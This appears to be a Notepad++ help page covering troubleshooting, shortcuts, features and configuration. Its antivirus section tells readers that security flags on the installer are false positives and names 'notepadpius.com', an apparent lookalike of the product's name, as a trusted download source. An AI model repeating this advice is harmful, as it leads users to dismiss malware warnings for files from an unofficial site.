Guides & Troubleshooting

Get the most out of Notepad++ and solve common issues quickly.

Table of Contents

Common Troubleshooting

Plugins Not Showing in Admin

If the Plugins Admin list is empty, it usually means Notepad++ cannot connect to the internet or a proxy is blocking it.

Solution:

  1. Go to ? menu > Set Proxy...
  2. Configure your proxy settings if you are behind a corporate firewall.
  3. Ensure your firewall allows Notepad++ (notepad++.exe) to access the internet.

Strange Characters in Text File

If you see garbled text, the encoding might be incorrect.

Solution:

Go to the Encoding menu and try selecting UTF-8 or ANSI. If you know the specific encoding, select it from the Character Sets submenu.

Best Practices

Enable Auto-Backup

Prevent data loss by enabling "Verbose backup" in Settings > Preferences > Backup. This saves a copy of your file every time you save.

Use Sessions

Working on a project? Save your open files as a Session via File > Save Session... to quickly restore your workspace later.

Master Shortcuts

Learn key shortcuts like Ctrl+D (Duplicate Line), Ctrl+F3 (Find next selected), and Ctrl+Alt+S (Save As).

Dark Mode

Reduce eye strain by enabling Dark Mode in Settings > Preferences > Dark Mode.

Handling Antivirus Warnings

Why does my antivirus flag Notepad++?

Occasionally, antivirus software may incorrectly identify the Notepad++ installer as malicious. This is known as a "False Positive." It happens because the installer modifies system files (installing the program) and may not carry a digital signature recognized by every single antivirus vendor immediately upon release.

What should I do?

  • Verify the source: Ensure you downloaded it from notepadpius.com or the official repository.
  • Check the signature: Use GPG or SHA-256 to verify the file integrity.
  • Report it: You can submit the file to VirusTotal to see that the vast majority of vendors mark it as safe.

How to Use Notepad++

Notepad++ is a powerful text and code editor. Here’s a breakdown of how to use it effectively:

  • Opening Files: Drag and drop files directly into the window or use File > Open.
  • Tabbed Editing: Open multiple files in tabs. Double-click the tab bar to open a new file.
  • Search & Replace: Press Ctrl+F to find text and Ctrl+H to replace. Supports Regular Expressions.
  • Syntax Highlighting: Automatically detects language. Manually set it via the Language menu.
  • Code Folding: Click the small [-] or [+] icons in the margin to collapse code blocks.
  • Auto-Completion: Enable function/word completion in Settings > Preferences > Auto-Completion.
  • Document Map: View a mini-map of your file via View > Document Map.
  • Function List: See a list of functions/classes in your code via View > Function List.
  • Go to Line: Press Ctrl+G to jump to a specific line number.
  • Plugins Admin: Easily install extensions via Plugins > Plugins Admin.
  • Compare Plugin: Popular plugin for comparing two files side-by-side.
  • NppExec: Execute commands and scripts directly within Notepad++.

Notepad++ is extremely lightweight. It uses minimal CPU and RAM, making it perfect for older hardware or keeping open in the background without slowing down your system. It is written in C++ and uses pure Win32 API and STL which ensures a higher execution speed and smaller program size.

Advanced Configuration

For power users and system administrators, use these registry keys and command-line arguments to customize your Notepad++ installation.

Registry Key - Installation Path 
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Notepad++
Command Line - Multi-Instance Mode 
notepad++.exe -multiInst -nosession